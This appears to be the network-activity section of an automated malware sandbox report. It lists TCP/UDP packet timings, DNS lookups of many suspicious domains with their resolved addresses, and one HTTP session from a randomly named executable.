Oct 9, 2024 14:21:34.472596884 CEST	49655	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:34.477591038 CEST	80	49655	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:34.477763891 CEST	49655	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:34.485801935 CEST	49655	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:34.491211891 CEST	80	49655	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:34.967421055 CEST	80	49655	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:34.967715025 CEST	80	49655	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:34.967763901 CEST	49655	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:34.971270084 CEST	49655	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:34.976612091 CEST	80	49655	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:40.498151064 CEST	49656	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:40.503761053 CEST	80	49656	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:40.506943941 CEST	49656	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:40.523505926 CEST	49656	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:40.529053926 CEST	80	49656	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:40.994254112 CEST	80	49656	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:40.994395971 CEST	80	49656	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:40.994457960 CEST	49656	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:42.030684948 CEST	49656	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:43.048615932 CEST	49657	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:43.232335091 CEST	80	49657	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:43.232454062 CEST	49657	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:43.244692087 CEST	49657	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:43.249633074 CEST	80	49657	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:43.768826962 CEST	80	49657	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:43.768970966 CEST	80	49657	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:43.770543098 CEST	49657	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:44.748333931 CEST	49657	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:45.767529964 CEST	49658	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:45.772440910 CEST	80	49658	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:45.772568941 CEST	49658	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:45.783410072 CEST	49658	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:45.788563013 CEST	80	49658	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:45.788580894 CEST	80	49658	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:45.788604975 CEST	80	49658	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:45.788933039 CEST	80	49658	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:45.789041996 CEST	80	49658	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:45.789055109 CEST	80	49658	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:45.789067984 CEST	80	49658	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:45.789079905 CEST	80	49658	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:45.789096117 CEST	80	49658	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:46.251813889 CEST	80	49658	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:46.255503893 CEST	49658	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:47.295505047 CEST	49658	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:47.300457954 CEST	80	49658	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:48.314754963 CEST	49659	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:48.319984913 CEST	80	49659	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:48.320089102 CEST	49659	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:48.327440977 CEST	49659	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:48.332288980 CEST	80	49659	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:48.798146963 CEST	80	49659	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:48.799048901 CEST	80	49659	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:48.803534031 CEST	49659	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:48.804349899 CEST	49659	80	192.168.2.4	172.191.244.62
Oct 9, 2024 14:21:48.809211016 CEST	80	49659	172.191.244.62	192.168.2.4
Oct 9, 2024 14:21:53.952815056 CEST	49660	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:53.958069086 CEST	80	49660	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:53.958168030 CEST	49660	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:53.970863104 CEST	49660	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:53.976223946 CEST	80	49660	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:54.748464108 CEST	80	49660	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:54.748496056 CEST	80	49660	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:54.748513937 CEST	80	49660	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:54.748573065 CEST	80	49660	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:54.748594999 CEST	80	49660	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:54.748601913 CEST	49660	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:54.748610973 CEST	80	49660	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:54.748630047 CEST	49660	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:54.748728991 CEST	49660	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:54.748764038 CEST	80	49660	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:54.748780012 CEST	80	49660	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:54.748795986 CEST	80	49660	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:54.748812914 CEST	80	49660	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:54.748843908 CEST	49660	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:54.751863956 CEST	49660	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:54.753530979 CEST	80	49660	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:54.753549099 CEST	80	49660	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:54.753654003 CEST	49660	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:55.482789993 CEST	49660	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:56.501629114 CEST	49661	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:56.506567955 CEST	80	49661	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:56.508879900 CEST	49661	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:56.519336939 CEST	49661	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:56.524182081 CEST	80	49661	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:57.326114893 CEST	80	49661	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:57.326128960 CEST	80	49661	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:57.326143026 CEST	80	49661	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:57.326170921 CEST	49661	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:57.326210022 CEST	80	49661	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:57.326221943 CEST	80	49661	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:57.326234102 CEST	80	49661	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:57.326244116 CEST	49661	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:57.326246977 CEST	80	49661	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:57.326277971 CEST	49661	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:57.326316118 CEST	80	49661	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:57.326356888 CEST	49661	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:57.326405048 CEST	80	49661	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:57.326416016 CEST	80	49661	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:57.326462030 CEST	49661	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:57.331146002 CEST	80	49661	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:57.331156015 CEST	80	49661	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:57.331187010 CEST	49661	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:58.029786110 CEST	49661	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:59.048758030 CEST	49662	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:59.053668022 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.054306984 CEST	49662	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:59.067800999 CEST	49662	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:59.072699070 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.072712898 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.072736979 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.072747946 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.072757959 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.072768927 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.072778940 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.072837114 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.072846889 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.854446888 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.854465961 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.854479074 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.854512930 CEST	49662	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:59.854553938 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.854567051 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.854578972 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.854595900 CEST	49662	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:59.854597092 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.854626894 CEST	49662	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:59.854715109 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.854729891 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.854747057 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.854764938 CEST	49662	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:59.854784012 CEST	49662	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:21:59.859499931 CEST	80	49662	162.241.244.106	192.168.2.4
Oct 9, 2024 14:21:59.907407045 CEST	49662	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:22:00.578711987 CEST	49662	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:22:01.596604109 CEST	49663	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:22:01.601552963 CEST	80	49663	162.241.244.106	192.168.2.4
Oct 9, 2024 14:22:01.601692915 CEST	49663	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:22:01.610969067 CEST	49663	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:22:01.616003036 CEST	80	49663	162.241.244.106	192.168.2.4
Oct 9, 2024 14:22:02.429029942 CEST	80	49663	162.241.244.106	192.168.2.4
Oct 9, 2024 14:22:02.484919071 CEST	49663	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:22:04.090207100 CEST	80	49663	162.241.244.106	192.168.2.4
Oct 9, 2024 14:22:04.090631008 CEST	49663	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:22:04.092261076 CEST	49663	80	192.168.2.4	162.241.244.106
Oct 9, 2024 14:22:04.097258091 CEST	80	49663	162.241.244.106	192.168.2.4
Oct 9, 2024 14:22:09.170392990 CEST	49671	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:09.175474882 CEST	80	49671	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:09.175556898 CEST	49671	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:09.188841105 CEST	49671	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:09.194664955 CEST	80	49671	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:09.653481960 CEST	80	49671	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:09.654592991 CEST	80	49671	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:09.654766083 CEST	49671	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:09.656296968 CEST	80	49671	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:09.656373978 CEST	49671	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:10.703083038 CEST	49671	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:11.720880985 CEST	49672	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:11.725852013 CEST	80	49672	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:11.725948095 CEST	49672	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:11.739000082 CEST	49672	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:11.743851900 CEST	80	49672	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:12.189127922 CEST	80	49672	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:12.189147949 CEST	80	49672	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:12.189264059 CEST	80	49672	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:12.189282894 CEST	49672	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:12.189368963 CEST	49672	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:13.248573065 CEST	49672	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:14.269112110 CEST	49673	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:14.274089098 CEST	80	49673	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:14.274183035 CEST	49673	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:14.289009094 CEST	49673	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:14.293849945 CEST	80	49673	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:14.293901920 CEST	80	49673	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:14.293919086 CEST	80	49673	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:14.293932915 CEST	80	49673	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:14.293942928 CEST	80	49673	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:14.293977022 CEST	80	49673	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:14.294049025 CEST	80	49673	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:14.294099092 CEST	80	49673	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:14.294183969 CEST	80	49673	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:14.726465940 CEST	80	49673	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:14.726486921 CEST	80	49673	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:14.726610899 CEST	49673	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:14.726816893 CEST	80	49673	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:14.727458000 CEST	49673	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:15.795530081 CEST	49673	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:16.814179897 CEST	49674	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:16.819495916 CEST	80	49674	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:16.825107098 CEST	49674	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:16.832210064 CEST	49674	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:16.837450027 CEST	80	49674	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:17.289824009 CEST	80	49674	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:17.289931059 CEST	80	49674	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:17.290026903 CEST	49674	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:17.290051937 CEST	80	49674	199.59.243.227	192.168.2.4
Oct 9, 2024 14:22:17.290096998 CEST	49674	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:17.294362068 CEST	49674	80	192.168.2.4	199.59.243.227
Oct 9, 2024 14:22:17.299520969 CEST	80	49674	199.59.243.227	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 9, 2024 14:18:46.066627979 CEST	53	59174	1.1.1.1	192.168.2.4
Oct 9, 2024 14:19:07.386020899 CEST	53731	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:19:07.399467945 CEST	53	53731	1.1.1.1	192.168.2.4
Oct 9, 2024 14:19:23.658592939 CEST	57420	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:19:24.037482977 CEST	53	57420	1.1.1.1	192.168.2.4
Oct 9, 2024 14:19:38.593966007 CEST	65214	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:19:38.619972944 CEST	53	65214	1.1.1.1	192.168.2.4
Oct 9, 2024 14:19:51.969414949 CEST	49838	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:19:51.979980946 CEST	53	49838	1.1.1.1	192.168.2.4
Oct 9, 2024 14:20:00.053950071 CEST	57285	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:20:00.067641973 CEST	53	57285	1.1.1.1	192.168.2.4
Oct 9, 2024 14:20:14.157744884 CEST	52639	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:20:14.689730883 CEST	53	52639	1.1.1.1	192.168.2.4
Oct 9, 2024 14:20:28.860270023 CEST	63503	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:20:29.055114985 CEST	53	63503	1.1.1.1	192.168.2.4
Oct 9, 2024 14:20:42.642966986 CEST	62375	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:20:42.658792019 CEST	53	62375	1.1.1.1	192.168.2.4
Oct 9, 2024 14:20:56.740211010 CEST	63254	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:20:57.195081949 CEST	53	63254	1.1.1.1	192.168.2.4
Oct 9, 2024 14:21:10.908121109 CEST	61222	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:21:11.923410892 CEST	61222	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:21:12.203754902 CEST	53	61222	1.1.1.1	192.168.2.4
Oct 9, 2024 14:21:12.203768969 CEST	53	61222	1.1.1.1	192.168.2.4
Oct 9, 2024 14:21:25.658981085 CEST	64428	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:21:25.851200104 CEST	53	64428	1.1.1.1	192.168.2.4
Oct 9, 2024 14:21:39.986994028 CEST	64189	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:21:40.495313883 CEST	53	64189	1.1.1.1	192.168.2.4
Oct 9, 2024 14:21:53.814878941 CEST	51082	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:21:53.938647032 CEST	53	51082	1.1.1.1	192.168.2.4
Oct 9, 2024 14:22:09.103234053 CEST	58192	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:22:09.167215109 CEST	53	58192	1.1.1.1	192.168.2.4
Oct 9, 2024 14:22:22.299232006 CEST	50990	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:22:22.307487965 CEST	53	50990	1.1.1.1	192.168.2.4
Oct 9, 2024 14:22:28.922280073 CEST	65144	53	192.168.2.4	1.1.1.1
Oct 9, 2024 14:22:28.929727077 CEST	53	65144	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 9, 2024 14:19:07.386020899 CEST	192.168.2.4	1.1.1.1	0xe199	Standard query (0)	www.newdaydawning.net	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:19:23.658592939 CEST	192.168.2.4	1.1.1.1	0x3f17	Standard query (0)	www.40wxd.top	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:19:38.593966007 CEST	192.168.2.4	1.1.1.1	0x7897	Standard query (0)	www.uburn.xyz	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:19:51.969414949 CEST	192.168.2.4	1.1.1.1	0xe64	Standard query (0)	www.i16zb920d.cfd	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:20:00.053950071 CEST	192.168.2.4	1.1.1.1	0x7c2c	Standard query (0)	www.o731lh.vip	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:20:14.157744884 CEST	192.168.2.4	1.1.1.1	0xbc6f	Standard query (0)	www.nakama2-sshl.xyz	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:20:28.860270023 CEST	192.168.2.4	1.1.1.1	0x53d0	Standard query (0)	www.zz82x.top	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:20:42.642966986 CEST	192.168.2.4	1.1.1.1	0x2e23	Standard query (0)	www.tukaari.shop	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:20:56.740211010 CEST	192.168.2.4	1.1.1.1	0x5028	Standard query (0)	www.prj81oqde1.buzz	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:21:10.908121109 CEST	192.168.2.4	1.1.1.1	0xab09	Standard query (0)	www.komart.shop	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:21:11.923410892 CEST	192.168.2.4	1.1.1.1	0xab09	Standard query (0)	www.komart.shop	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:21:25.658981085 CEST	192.168.2.4	1.1.1.1	0xf137	Standard query (0)	www.healthyloveforall.net	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:21:39.986994028 CEST	192.168.2.4	1.1.1.1	0x969b	Standard query (0)	www.lurknlarkk.xyz	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:21:53.814878941 CEST	192.168.2.4	1.1.1.1	0x2af6	Standard query (0)	www.mommymode.site	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:22:09.103234053 CEST	192.168.2.4	1.1.1.1	0xc3ad	Standard query (0)	www.polarmuseum.info	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:22:22.299232006 CEST	192.168.2.4	1.1.1.1	0x18d4	Standard query (0)	www	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:22:28.922280073 CEST	192.168.2.4	1.1.1.1	0xfdb1	Standard query (0)	www	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 9, 2024 14:19:07.399467945 CEST	1.1.1.1	192.168.2.4	0xe199	No error (0)	www.newdaydawning.net	newdaydawning.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:19:07.399467945 CEST	1.1.1.1	192.168.2.4	0xe199	No error (0)	newdaydawning.net		44.213.25.70	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:19:24.037482977 CEST	1.1.1.1	192.168.2.4	0x3f17	No error (0)	www.40wxd.top	40wxd.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:19:24.037482977 CEST	1.1.1.1	192.168.2.4	0x3f17	No error (0)	40wxd.top		206.119.82.134	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:19:38.619972944 CEST	1.1.1.1	192.168.2.4	0x7897	No error (0)	www.uburn.xyz		67.223.117.189	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:19:51.979980946 CEST	1.1.1.1	192.168.2.4	0xe64	Name error (3)	www.i16zb920d.cfd	none	none	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:20:00.067641973 CEST	1.1.1.1	192.168.2.4	0x7c2c	No error (0)	www.o731lh.vip	o731lh.vip		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:20:00.067641973 CEST	1.1.1.1	192.168.2.4	0x7c2c	No error (0)	o731lh.vip		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:20:00.067641973 CEST	1.1.1.1	192.168.2.4	0x7c2c	No error (0)	o731lh.vip		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:20:14.689730883 CEST	1.1.1.1	192.168.2.4	0xbc6f	No error (0)	www.nakama2-sshl.xyz		183.181.83.131	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:20:29.055114985 CEST	1.1.1.1	192.168.2.4	0x53d0	No error (0)	www.zz82x.top	zz82x.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:20:29.055114985 CEST	1.1.1.1	192.168.2.4	0x53d0	No error (0)	zz82x.top		38.47.232.196	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:20:42.658792019 CEST	1.1.1.1	192.168.2.4	0x2e23	No error (0)	www.tukaari.shop	tukaari.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:20:42.658792019 CEST	1.1.1.1	192.168.2.4	0x2e23	No error (0)	tukaari.shop		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:20:42.658792019 CEST	1.1.1.1	192.168.2.4	0x2e23	No error (0)	tukaari.shop		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:20:57.195081949 CEST	1.1.1.1	192.168.2.4	0x5028	No error (0)	www.prj81oqde1.buzz		154.212.219.2	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:21:12.203754902 CEST	1.1.1.1	192.168.2.4	0xab09	No error (0)	www.komart.shop	komart.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:21:12.203754902 CEST	1.1.1.1	192.168.2.4	0xab09	No error (0)	komart.shop		133.130.35.90	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:21:12.203768969 CEST	1.1.1.1	192.168.2.4	0xab09	No error (0)	www.komart.shop	komart.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:21:12.203768969 CEST	1.1.1.1	192.168.2.4	0xab09	No error (0)	komart.shop		133.130.35.90	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:21:25.851200104 CEST	1.1.1.1	192.168.2.4	0xf137	No error (0)	www.healthyloveforall.net	healthyloveforall.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:21:25.851200104 CEST	1.1.1.1	192.168.2.4	0xf137	No error (0)	healthyloveforall.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:21:25.851200104 CEST	1.1.1.1	192.168.2.4	0xf137	No error (0)	healthyloveforall.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:21:40.495313883 CEST	1.1.1.1	192.168.2.4	0x969b	No error (0)	www.lurknlarkk.xyz	redirect.3dns.box		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:21:40.495313883 CEST	1.1.1.1	192.168.2.4	0x969b	No error (0)	redirect.3dns.box		172.191.244.62	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:21:53.938647032 CEST	1.1.1.1	192.168.2.4	0x2af6	No error (0)	www.mommymode.site	mommymode.site		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:21:53.938647032 CEST	1.1.1.1	192.168.2.4	0x2af6	No error (0)	mommymode.site		162.241.244.106	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:22:09.167215109 CEST	1.1.1.1	192.168.2.4	0xc3ad	No error (0)	www.polarmuseum.info		199.59.243.227	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:22:22.307487965 CEST	1.1.1.1	192.168.2.4	0x18d4	Name error (3)	www	none	none	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:22:28.929727077 CEST	1.1.1.1	192.168.2.4	0xfdb1	Name error (3)	www	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.newdaydawning.net

www.40wxd.top

www.uburn.xyz

www.o731lh.vip

www.nakama2-sshl.xyz

www.zz82x.top

www.tukaari.shop

www.prj81oqde1.buzz

www.komart.shop

www.healthyloveforall.net

www.lurknlarkk.xyz

www.mommymode.site

www.polarmuseum.info

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49352	44.213.25.70	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

